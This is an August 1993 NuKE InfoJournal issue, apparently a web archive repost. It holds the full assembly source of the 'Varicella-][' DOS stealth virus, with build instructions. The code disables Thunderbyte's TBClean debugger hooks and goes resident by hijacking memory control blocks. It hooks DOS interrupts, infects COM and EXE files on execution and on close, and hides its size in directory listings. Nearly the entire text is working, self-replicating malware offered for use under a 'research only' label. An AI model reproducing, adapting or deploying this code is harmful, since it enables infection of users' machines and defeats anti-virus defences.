Copy Link
Add to Bookmark
Report
NuKE Issue 07-011
================================================================================
NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
uK E-
E- "Varicella-][ Virus Eats Up Thunderbyte's TBClean" Nu
Nu KE
KE By -N
-N uK
uK Rock Steady E-
E- Nu
E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
NuKE InfoJournal #7
August 1993
% Varicella-][ Virus Eats Up Thunderbyte's TBClean %
This is the complete virus source code for the Varcella-][ virus that can
bypass TBClean v6.04. This virus is for research only. It is a very advanced
stealth virus -- it can disinfect on the fly and hide its length quite well.
If you have any feedback, please write to me about it on your closest NuKENet
BBS. I'm glad to be of any help. Or if you wish for NuKE to test any other
anti-virus package, please tell us. The InfoJournals are for you.
Rock Steady/NuKE
------------------------------- CUT HERE ---------------------------------------
;===============================================================================
;
; (c) 1993 by NuKE Software Publishing, Inc.
; Developed by Rock Steady/NuKE
;
; <VARCELLA.ASM>
;
; To Compile : TASM VARCELLA;
; TLINK/T VARCELLA;
;
virus_size equ last - init_virus ;virus size (bytes)
seg_a segment byte public
assume cs:seg_a,ds:seg_a
org 100h ;compile to .com
start: jmp init_virus
;-------------------------------------------------------------------------------
init_virus: call doit_now ;begin virus
doit_now: pop bp ;pop call offset
sub bp,offset doit_now ;fix it with pointer
push ax
push bx ;save the registers
push cx
push dx
push si
push es
push ds
mov byte ptr cs:[tb_here][bp],00h ;Reset TB flag
xor dx,dx ;dx=0
mov ds,dx ;ds=0
mov ax,word ptr ds:[0006h] ;ax=0000:0006 segment of
dec ax
mov ds,ax
mov cx,0FFFFh ;cx=64k
mov si,dx ;si=0
look_4_tbclean: mov ax,word ptr ds:[si]
xor ax,0A5F3h
je check_it ;jmp if its TBClean
look_again: inc si ;if not continue looking
loop look_4_tbclean
jmp not_found ;not found cont normal
check_it: mov ax,word ptr ds:[si+4]
xor ax,0006h
jne look_again ;jmp =! tbclean
mov ax,word ptr ds:[si+10]
xor ax,020Eh
jne look_again ;jmp =! tbclean
mov ax,word ptr ds:[si+12]
xor ax,0C700h
jne look_again ;jmp =! tbclean
mov ax,word ptr ds:[si+14]
xor ax,0406h
jne look_again ;jmp =! tbclean
mov bx,word ptr ds:[si+17] ;steal REAL int 1 offset
mov byte ptr ds:[bx+16],0CFh ;replace with IRET
mov bx,word ptr ds:[si+27] ;steal REAL int 3 offset
mov byte ptr ds:[bx+16],0CFh ;replece with IRET
mov byte ptr cs:[tb_here][bp],01h ;set the TB flag on
mov bx,word ptr ds:[si+51h] ;get 2nd segment of ints
mov word ptr cs:[tb_int2][bp],bx ;vector table
mov bx,word ptr ds:[si-5] ;get offset of 1st copy
mov word ptr cs:[tb_ints][bp],bx ;of vector table
not_found: xor dx,dx
push ds
mov ds,dx ;put that in ds
les si,dword ptr ds:[0084h] ;get int21 vector
mov word ptr cs:[int21][bp],si ;save int21 offset
mov word ptr cs:[int21+2][bp],es ;save int21 segment
les si,dword ptr ds:[0070h] ;get int1c vector
mov word ptr cs:[int1c][bp],si ;save int1c offset
mov word ptr cs:[int1c+2][bp],es ;save int1c segment
les si,dword ptr ds:[004ch] ;get int13 vector
mov word ptr cs:[int13][bp],si ;save int13 offset
mov word ptr cs:[int13+2][bp],es ;save int13 segment
pop ds
mov byte ptr cs:[mcb][bp],00h ;reset the TB mcb flag
mov ax,0abcdh ;test if virus is here?
int 13h
cmp bx,0abcdh ;is it?
jne install_virus ;jmp, if not & install
leave_mcb: jmp exit_mem ;yes, leave then
;--------- Going Resident ------
steal_some: mov al,byte ptr cs:[mcb][bp] ;if tb is here, steal
cmp al,0ffh ;memory from it!
je leave_mcb ;error? exit then
inc byte ptr cs:[mcb][bp] ;inc flag
cmp al,01 ;
ja mcb3_1
install_virus: mov ah,52h ;get the list of lists
int 21h ;use dos
mov ax,es:[bx-2] ;get first mcb chain
mov es,ax ;es=segment of 1st mcb
mcb1: cmp byte ptr es:[0000h],'Z' ;is it the last mcb
jne mcb2 ;jmp if not
clc ;yes last mcb, CLC
jmp short mcbx ;outta here
mcb2: cmp byte ptr es:[0000h],'M' ;is it in the chain
je mcb3 ;jmp if yes
stc ;error, set carry flag
jmp short mcbx ;outta here
mcb3: cmp byte ptr cs:[mcb][bp],0 ;is TB flag off?
je mcb3_1 ;if yes, then jmp
mov dx,ds ;else cmp TB ds
sub dx,9h ;ds-10
cmp word ptr es:[0001h],dx ;cmp to mcb owner.
je mcbx_1
mcb3_1: mov ax,es ;ax=es
add ax,word ptr es:[0003h] ;ax=es + next mcb
inc ax ;get mcb
mov es,ax ;es=ax:next mcb chain
jmp short mcb1 ;goto first step
mcbx: jc leave_mcb ;if error, exit
mcbx_1: cmp word ptr es:[0003],(virus_size/16) + 11h
jb steal_some
mov byte ptr es:[0000],'Z' ;the last mcb chain!
sub word ptr es:[0003],(virus_size/16) + 11h
add ax,word ptr es:[0003h] ;figure out segment
inc ax ;add 16 bytes
mov es,ax ;new segment in es
mov di,103h ;offset is 103h
push ds ;save TB ds location
push cs
pop ds ;virus cs=ds
mov si,offset init_virus ;si=top of virus
add si,bp ;add delta
mov cx,virus_size ;move virus_size
cld ;clear direction flag
repne movsb ;do it Mr. Crunge
mov ds,cx ;ds=0000
hook_again: cli ;disable ints
mov word ptr ds:[0084h],offset int21_handler ;hook int21
mov word ptr ds:[0086h],es
mov word ptr ds:[0070h],offset int1c_handler ;hook int1c
mov word ptr ds:[0072h],es
mov word ptr ds:[004ch],offset int13_handler ;hook int13
mov word ptr ds:[004eh],es
sti ;enable ints
cmp byte ptr cs:[tb_here][bp],00h ;was TB found?
je go_on ;no, then jmp
cmp cl,01h ;is this the 2nd x here?
je go_on ;yes, then jmp
mov ds,word ptr cs:[tb_int2][bp] ;get TB int segment
inc cl ;inc cl
jmp short hook_again ;hook ints again
go_on: pop ds ;get TB code segment
cmp byte ptr cs:[tb_here][bp],01h ;TB here?
je hook_tb_ints ;yes, then jmp
jmp exit_mem ;else exit
hook_tb_ints: mov si,word ptr cs:[tb_ints][bp] ;get TB int offset
mov word ptr ds:[si+84h+16],offset int21_handler
mov word ptr ds:[si+86h+16],es
mov word ptr ds:[si+70h+16],offset int1c_handler
mov word ptr ds:[si+72h+16],es
mov word ptr ds:[si+4ch+16],offset int13_handler
mov word ptr ds:[si+4eh+16],es
exit_mem: pop ds
pop es
pop si
cmp word ptr cs:[buffer][bp],5A4Dh ;.exe file?
je exit_exe_file ;yupe exit exe file
cmp word ptr cs:[buffer][bp],4D5Ah ;.exe file?
je exit_exe_file ;yupe exit exe file
push cs
pop ds
mov bx,offset buffer ;get first 3 bytes
add bx,bp ;fix delta
mov ax,[bx] ;move first 2 bytes
mov word ptr ds:[100h],ax ;put em in the beginning
inc bx ;inc pointer
inc bx
mov al,[bx] ;get last of 3rd byte
mov byte ptr ds:[102h],al ;put that in place
pop dx
pop cx
pop bx
pop word ptr cs:[ax_reg][bp] ;save ax else where
mov ax,100h
push ax ;fake a CALL & RETN
mov ax,word ptr cs:[ax_reg][bp] ;put ax as normal
retn ;link to 100h
exit_exe_file: mov dx,ds ;get psp=ds seg
add dx,10h ;add 16bytes to seg
pop word ptr cs:[ax_reg][bp]
pop cx
pop bx
pop ax
add word ptr cs:[buffer+22][bp],dx ;fix segments
add dx,word ptr cs:[buffer+14][bp]
cli
mov ss,dx ;restore ss
mov sp,word ptr cs:[buffer+16][bp] ;and sp
sti
mov dx,word ptr cs:[ax_reg][bp]
jmp dword ptr cs:[buffer+20][bp] ;jmp to entry pt.
mcb db 0
ax_reg dd 0
int13 dd 0
int1c dd 0
int21 dd 0
tb_ints dd 0
tb_here db 0
tb_int2 dd 0
;===============================================================================
; Int 13h Handler
;===============================================================================
int13_handler:
cmp ax,0abcdh ;virus test
je int13_test ;yupe
int13call: jmp dword ptr cs:[int13] ;original int13
int13_test: mov bx,ax ;fix
iret
;===============================================================================
; Int 1Ch Handler
;===============================================================================
int1c_handler:
iret
;-------------------------------------------------------------------------------
; FCB Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
fcb_dir: call calldos21 ;get the fcb block
test al,al ;test for error
jnz fcb_out ;jmp if error
push ax ;save registers
push bx
push cx
push es
mov ah,51h ;get current psp
call calldos21 ;call int21
mov es,bx ;es=segment of psp
cmp bx,es:[16h] ;psp of command.com?
jnz fcb_out1 ;no, then jmp
mov bx,dx ;ds:bx=fcb
mov al,[bx] ;1st byte of fcb
push ax ;save it
mov ah,2fh ;get dta
call calldos21 ;es:bx <- dta
pop ax ;get first byte
inc al ;al=ffh therefor al=ZR
jnz fcb_old ;if != ZR jmp
add bx,7h ;extended fcb here, +7
fcb_old: mov ax,es:[bx+17h] ;get file time stamp
mov cx,es:[bx+19h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal?
jnz fcb_out1 ;nope, exit then
sub word ptr es:[bx+1dh],virus_size ;sub away virus_size
sbb word ptr es:[bx+1fh],0 ;sub with carry flag
fcb_out1: pop es ;restore registers
pop cx
pop bx
pop ax
fcb_out: iret ;return control
;-------------------------------------------------------------------------------
; ASCIIZ Dir Stealth Routine (File Find)
;-------------------------------------------------------------------------------
dta_dir: call calldos21 ;get results to dta
jb dta_out ;if error, split
push ax ;save register
push bx
push cx
push es
mov ah,2fh ;get current dta
call calldos21 ;es:bx <- dta
mov ax,es:[bx+16h] ;get file time stamp
mov cx,es:[bx+18h] ;get file date stamp
and ax,1fh ;unmask seconds field
and cx,1fh ;unmask day of month
xor ax,cx ;are they equal
jnz dta_out1 ;nope, exit then
sub word ptr es:[bx+1ah],virus_size ;sub away virus_size
sbb word ptr es:[bx+1ch],0 ;sub with carry flag
dta_out1: pop es ;restore registers
pop cx
pop bx
pop ax
dta_out: retf 0002h ;pop 2 words of stack
;===============================================================================
; Int 21h Handler
;===============================================================================
int21_handler:
cmp ah,11h ;FCB find first match
je old_dir
cmp ah,12h ;FCB find next match
je old_dir
cmp ah,4eh ;Find first match
je new_dir
cmp ah,4fh ;Find next match
je new_dir
cmp ah,3dh ;Opening a file
je file_open
cmp ah,6ch ;Ext_opening a file
je file_ext_open
cmp ah,3eh ;closing a file
je file_close
cmp ah,4bh ;Execution of a file
je file_execute
int21call: jmp dword ptr cs:[int21] ;original int21
old_dir: jmp fcb_dir ;fcb file find
new_dir: jmp dta_dir ;new asciiz file find
file_open: jmp open_file ;disinfect opening file
file_ext_open: jmp open_ext_file ;disinfect opening file
file_close: jmp close_file ;infect closing file
file_execute: call check_extension ;check for ok ext
cmp byte ptr cs:[com_ext],1 ;is it a com?
je exec_disinfect ;yupe disinfect it
cmp byte ptr cs:[exe_ext],1 ;is it a exe?
je exec_disinfect ;yupe disinfect it
jmp SHORT int21call
exec_disinfect: call exec_disinfect1 ;Disinfect file
mov word ptr cs:[ax_reg],dx
pushf ;fake an int
call dword ptr cs:[int21] ;call dos
xchg word ptr cs:[ax_reg],dx ;restore dx
mov byte ptr cs:[close],0 ;reset flag..
push ax ;store 'em
push bx
push cx
push dx
push si
push di
push es
push ds
closing_infect: mov ax,3524h ;get error handler
call calldos21 ;call dos
push es ;save es:bx= int_24
push bx ;error handler
push ds ;ds:dx= asciiz string
push dx
push cs ;cs=ds
pop ds
mov dx,offset int21_handler ;hook error handler
mov ax,2524h ;with our int24h
call calldos21
pop dx ;restore ds:dx asciiz
pop ds ;string
cmp byte ptr cs:[close],0 ;Are we closing file?
je exec_get_att ;nope, then jmp
mov ax,word ptr cs:[handle] ;yupe, ax=file handle
jmp exec_open_ok ;jmp so you don't open
;the file twice...
exec_get_att: mov ax,4300h ;get file attribs
call calldos21 ;call dos
jnc exec_attrib ;no, error jmp
jmp exec_exit2 ;ERROR - split
exec_attrib: mov byte ptr cs:[attrib],cl
test cl,1 ;check bit 0 (read_only)
jz exec_attrib_ok ;if bit0=0 jmp
dec cx ;else turn of bit_0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
exec_attrib_ok: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc exec_open_ok ;ok, no error jmp
jmp exec_exit2 ;ERROR - split
exec_open_ok: xchg bx,ax ;bx=file handler
push cs ;cs=ds
pop ds
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[org_time],cx
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz exec_time_ok ;nope, file not infected
jmp exec_exit3 ;FILE INFECTED
exec_time_ok: and word ptr cs:[old_time],0ffe0h ;reset second bits
or word ptr cs:[old_time],dx ;seconds=day of month
mov ax,4200h ;reset ptr to beginning
xor cx,cx ;(as opened files may
xor dx,dx ; have ptr anywhere,
call calldos21 ; so be smart!)
mov word ptr cs:[marker],0DBDBh ;File Infection marker
mov dx,offset ds:[buffer] ;ds:dx buffer
mov cx,18h ;read 18h bytes
mov ah,3fh ;read from handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes jmp
sub cx,ax ;did we read 18h bytes?
jnz exec_exit1 ;if no exit
mov dx,cx ;cx=0 dx=0
mov ax,4202h ;jmp to EOF
call calldos21 ;call dos
jc exec_exit1 ;error? exit if so.
mov word ptr cs:[filesize+2],ax ;save lower 16bit fileSz
mov word ptr cs:[filesize],dx ;save upper 16bit fileSz
call chkbuf ;check if .exe
jz exec_cool ;jmp if .exe file
cmp ax,0FFF0h - virus_size ;64k-256-virus < 64k?
jb exec_cool ;if less jmp!
exec_exit1: jmp exec_exit3 ;exit!
;_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-
; Mutate and infect
;-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_
exec_cool: mov dx,offset init_virus ;ds:dx=virus beginning
mov cx,virus_size ;cx=virus size
mov ah,40h ;write to handle
call calldos21 ;call dos
jc exec_exit1 ;error? if yes exit
sub cx,ax ;cx=ax bytes?
jnz exec_exit1 ;not equal exit
mov dx,cx ;cx=0 dx=0
mov ax,4200h ;jmp to top of file
call calldos21 ;call dos
jc exec_exit1 ;error, then exit
mov ax,word ptr cs:[filesize+2] ;ax=lower 16bit fileSize
call chkbuf ;check if .exe
jnz exec_com_file ;if !=.exe jmp
mov dx,word ptr cs:[filesize] ;get upper 16bit
mov cx,4 ;cx=0004
mov si,word ptr cs:[buffer+8] ;get exe header size
shl si,cl ;mul by 16
sub ax,si ;exe_header - filesize
sbb dx,0h ;sub with carry
mov cx,10h ;cx=0010
div cx ;ax=length in para
;dx=remaider
mov word ptr cs:[buffer+20],dx ;New IP offset address
mov word ptr cs:[buffer+22],ax ;New CS (In paragraphs)
add dx,virus_size+100h ;Dx=virus_size+256
mov word ptr cs:[buffer+16],dx ;New SP entry
mov word ptr cs:[buffer+14],ax ;New SS (in para)
add word ptr cs:[buffer+10],(virus_size)/16+1 ;min para
mov ax,word ptr cs:[buffer+10] ;ax=min para needed
cmp ax,word ptr cs:[buffer+12] ;cmp with max para
jb exec_size_ok ;jmp if ok!
mov word ptr cs:[buffer+12],ax ;nop, enter new max
exec_size_ok: mov ax,word ptr cs:[buffer+2] ;ax=file size
add ax,virus_size ;add virus to it
push ax ;push it
and ah,1 ;
mov word ptr cs:[buffer+2],ax ;restore new value
pop ax ;pop ax
mov cl,9 ;
shr ax,cl ;
add word ptr cs:[buffer+4],ax ;enter fileSz + header
mov dx,offset buffer ;ds:dx=new exe header
mov cx,18h ;cx=18h bytes to write
jmp SHORT exec_write_it ;jmp...
exec_com_file: sub ax,3 ;sub 3 for jmp address
mov word ptr cs:[buffer+1],ax ;store new jmp value
mov byte ptr cs:[buffer],0E9h ;E9h=JMP
mov dx,offset buffer ;ds:dx=buffer
mov cx,3 ;cx=3 bytes
exec_write_it: mov ah,40h ;write to file handle
call calldos21 ;call dos
mov dx,word ptr cs:[old_date] ;restore old date
mov cx,word ptr cs:[old_time] ;restore old time
mov ax,5701h ;write back to file
call calldos21 ;call dos
exec_exit3: mov ah,3eh ;close file
call calldos21 ;call dos
exec_exit2: pop dx ;restore es:bx (the
pop ds ;original int_24)
mov ax,2524h ;put back to place
call calldos21 ;call dos
pop ds
pop es
pop di ;pop registers
pop si
pop dx
xor cx,cx
mov cl,byte ptr cs:[attrib] ;get old file attrib
mov ax,4301h ;put them back
call calldos21 ;call dos
pop cx
pop bx
pop ax
cmp byte ptr cs:[close],0 ;get called by exec?
je exec_good_bye ;yep, then jmp
iret ;else exit now.
exec_good_bye: mov dx,word ptr cs:[ax_reg] ;restore dx
iret ;iret
;-------------------------------------------------------------------------------
; Close File Int21h/ah=3Eh
;-------------------------------------------------------------------------------
close_file: cmp bx,4h ;file handler > 4?
ja close_cont ;jmp if above
jmp int21call ;else exit
close_cont: push ax ;save 'em
push bx
push cx
push dx
push si
push di
push es
push ds
push bx ;save file handler
mov ax,1220h ;get job file table!
int 2fh ;call multiplex
;es:di=JFT for handler
mov ax,1216h ;get system file table
mov bl,es:[di] ;bl=SFT entry
int 2fh ;call multiplex
pop bx ;save file handler
add di,0011h
mov byte ptr es:[di-0fh],02h ;set to read/write
add di,0017h
cmp word ptr es:[di],'OC' ;check for .COM file
jne closing_next_try ;no try next ext
cmp byte ptr es:[di+2h],'M' ;check last letter
je closing_cunt3 ;no, file no good, exit
closing_exit: jmp closing_nogood ;exit
closing_next_try:
cmp word ptr es:[di],'XE' ;check for .EXE file
jne closing_exit ;no, exit
cmp byte ptr es:[di+2h],'E' ;check last letter
jne closing_exit ;no, exit
closing_cunt3: mov byte ptr cs:[close],1 ;set closing flag
mov word ptr cs:[handle],bx ;save handler
jmp closing_infect ;infect file!
closing_nogood: pop ds ;restore 'em
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp int21call ;good bye, baby...
;-------------------------------------------------------------------------------
; Execute Disinfecting routine
;-------------------------------------------------------------------------------
exec_disinfect1 PROC
push ax ;save registers
push bx
push cx
push dx
push ds
mov ax,4300h ;get file attribs
call calldos21 ;call dos
test cl,1h ;is Read-only flag?
jz okay_dis ;no, jmp attribs ok
dec cx ;turn off bit 0
mov ax,4301h ;write new attribs
call calldos21 ;call dos
jnc okay_dis ;No error? then jmp
jmp end_dis ;error? exit!
okay_dis: mov ax,3d02h ;open file for r/w
call calldos21 ;call dos
jnc dis_fileopen ;No error? then jmp
jmp end_dis ;Error? exit!
dis_fileopen: xchg bx,ax ;bx=file handle
mov ax,5700h ;get file time/date
call calldos21 ;call dos
mov word ptr cs:[old_time],cx ;save file time
mov word ptr cs:[old_date],dx ;save file date
and cx,1fh ;unmask second field
and dx,1fh ;unmask date field
xor cx,dx ;are they equal?
jnz half_way ;nope, file not infected
mov ax,4202h ;jmp to EOF
xor cx,cx ;cx=0
xor dx,dx ;dx=0
call calldos21 ;call dos
push cs ;cs=ds
pop ds ;
mov cx,dx ;dx:ax=file size
mov dx,ax ;save to cx:dx
push cx ;save upper fileSz
push dx ;save lower fileSz
sub dx,1Ch ;filesize-1C=origin byte
sbb cx,0 ;sub with carry
mov ax,4200h ;position ptr
call calldos21 ;call dos
mov ah,3fh ;open file
mov cx,1Ch ;read last 1Ch bytes
mov dx,offset org_time ;put in ds:dx
call calldos21 ;call dos
call chkbuf ;Did it work?
je half ;Yes,Jmp
cmp word ptr ds:[marker],0DBDBh ;File REALLY Infected?
je half ;Yes, then jmp
pop dx
pop cx
half_way: jmp end_dis1 ;exit, error!
half: xor cx,cx ;cx=0
xor dx,dx ;dx=0
mov ax,4200h ;pointer to top of file
call calldos21 ;call dos
mov ah,40h ;write function
mov dx,offset buffer ;ds:dx=buffer
mov cx,18h ;cx=18h bytes to write
call chkbuf ;check if .exe?
jz SHORT dis_exe_jmp ;yupe, jmp
mov cx,3h ;else write 3 bytes
dis_exe_jmp: call calldos21 ;call dos
pop dx ;pop original fileSz
pop cx
sub dx,virus_size ;Sub with virus_size
sbb cx,0 ;sub with carry
mov ax,4200h ;ptr top of virus
call calldos21 ;call dos
mov ah,40h ;write function
xor cx,cx ;write 0 bytes
call calldos21 ;call dos! (new EOF)
mov cx,word ptr ds:[org_time] ;get original time
mov dx,word ptr ds:[old_date] ;get original date
mov ax,5701h ;put back to file
call calldos21 ;call dos
end_dis1: mov ah,3eh ;close file handle
call calldos21 ;call dos
end_dis: pop ds ;restore values
pop dx
pop cx
pop bx
pop ax
ret
exec_disinfect1 ENDP
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=6ch
;-------------------------------------------------------------------------------
open_ext_file: push dx ;save DX
mov dx,si ;asciiz=DS:DX now
jmp open_ext ;jmp
;-------------------------------------------------------------------------------
; Open File by DOS Int21h/ah=3Dh
;-------------------------------------------------------------------------------
open_file: push dx ;save dx (asciiz)
open_ext: call check_extension ;check extension
cmp byte ptr cs:[com_ext],1 ;is it a .com?
je open_ok_ext ;yep, then jmp
cmp byte ptr cs:[exe_ext],1 ;is it a .exe?
je open_ok_ext ;yep, them jmp
jmp open_exit ;ext no good, exit!
open_ok_ext: call exec_disinfect1 ;disinfect file!
open_exit: pop dx ;restore dx
jmp int21call ;exit to dos...
;-------------------------------------------------------------------------------
; Checks Buffer (EXE) Header
;-------------------------------------------------------------------------------
chkbuf PROC
push si ;save register
mov si,word ptr cs:[buffer] ;get first word
cmp si,5A4Dh ;si=ZM?
je chkbuf_ok ;if yes exit
cmp si,4D5Ah ;si=MZ?
chkbuf_ok: pop si ;pop register
ret
chkbuf ENDP
;-------------------------------------------------------------------------------
; Check file Extension
;-------------------------------------------------------------------------------
check_extension PROC
pushf ;save flags
push cx ;save cx,si
push si
mov si,dx ;ds:[si]=asciiz
mov cx,128 ;scan 128 bytes max
mov byte ptr cs:[com_ext],0 ;reset .com flag
mov byte ptr cs:[exe_ext],0 ;reset .exe flag
check_ext: cmp byte ptr ds:[si],2Eh ;scan for "."
je check_ext1 ;jmp if found
inc si ;else inc and loop
loop check_ext ;loop me
check_ext1: inc si ;inc asciiz ptr
cmp word ptr ds:[si],'OC' ;is it .COM
jne check_ext2 ; ~~
cmp byte ptr ds:[si+2],'M' ;is it .COM
je com_file_ext ; ~
check_ext2: cmp word ptr ds:[si],'oc' ;is it .com
jne check_ext3 ; ~~
cmp byte ptr ds:[si+2],'m' ;is it .com
je com_file_ext ; ~
check_ext3: cmp word ptr ds:[si],'XE' ;is it .EXE
jne check_ext4 ; ~~
cmp byte ptr ds:[si+2],'E' ;is it .EXE
je exe_file_ext ; ~
check_ext4: cmp word ptr ds:[si],'xe' ;is it .exe
jne check_ext_exit ; ~~
cmp byte ptr ds:[si+2],'e' ;is it .exe
je exe_file_ext ; ~
jmp check_ext_exit ;neither exit
com_file_ext: mov byte ptr cs:[com_ext],1 ;found .com file
jmp SHORT check_ext_exit ;jmp short
exe_file_ext: mov byte ptr cs:[exe_ext],1 ;found .exe file
check_ext_exit: pop si ;restore
pop cx
popf ;save flags
ret
com_ext db 0 ;flag on=.com file
exe_ext db 0 ;flag on=.exe file
check_extension ENDP
;-------------------------------------------------------------------------------
; Original Int21h
;-------------------------------------------------------------------------------
calldos21 PROC
pushf ;fake int call
call dword ptr cs:[int21] ;call original int_21
ret
calldos21 ENDP
;===============================================================================
; Int 24h Handler
;===============================================================================
int24_handler:
mov al,3 ;don't report error...
iret ;later dude...
;-------------------------------------------------------------------------------
; FLAGS - FLAGS - FLAGS - FLAGS - FLAGS
close db 0 ;closing file
;-------------------------------------------------------------------------------
; END - END - END - END - END - END - END
rand_val dw 0
flags dw 0 ;Flags are saved here
attrib db 0 ;file's attrib
filesize dd 0 ;filesize
handle dw 0 ;file handler
old_date dw 0 ;file date
old_time dw 0 ;file time
;-------------------------------------------------------------------------------
org_time dw 0 ;original file time
;-------------------------------------------------------------------------------
buffer db 0CDh,020h ; 0 (0) EXE file signature
db 090h,090h ; 2 (2) Length of file
db 090h,090h ; 4 (4) Size of file + header (512k)
db 090h,090h ; 6 (6) # of relocation items
db 090h,090h ; 8 (8) Size of header (16byte para)
db 090h,090h ; A (10) Min para needed (16byte)
db 090h,090h ; C (12) Max para needed (16byte)
db 090h,090h ; E (14) SS reg from start in para.
db 090h,090h ; 10(16) SP reg at entry
db 090h,090h ; 12(18) checksum
db 090h,090h ; 14(20) IP reg at entry
db 090h,090h ; 16(22) CS reg from start in para.
Marker db 0DBh,0DBh ; Marks THIS File as INFECTED!
last:
seg_a ends
end start
------------------------------- CUT HERE ---------------------------------------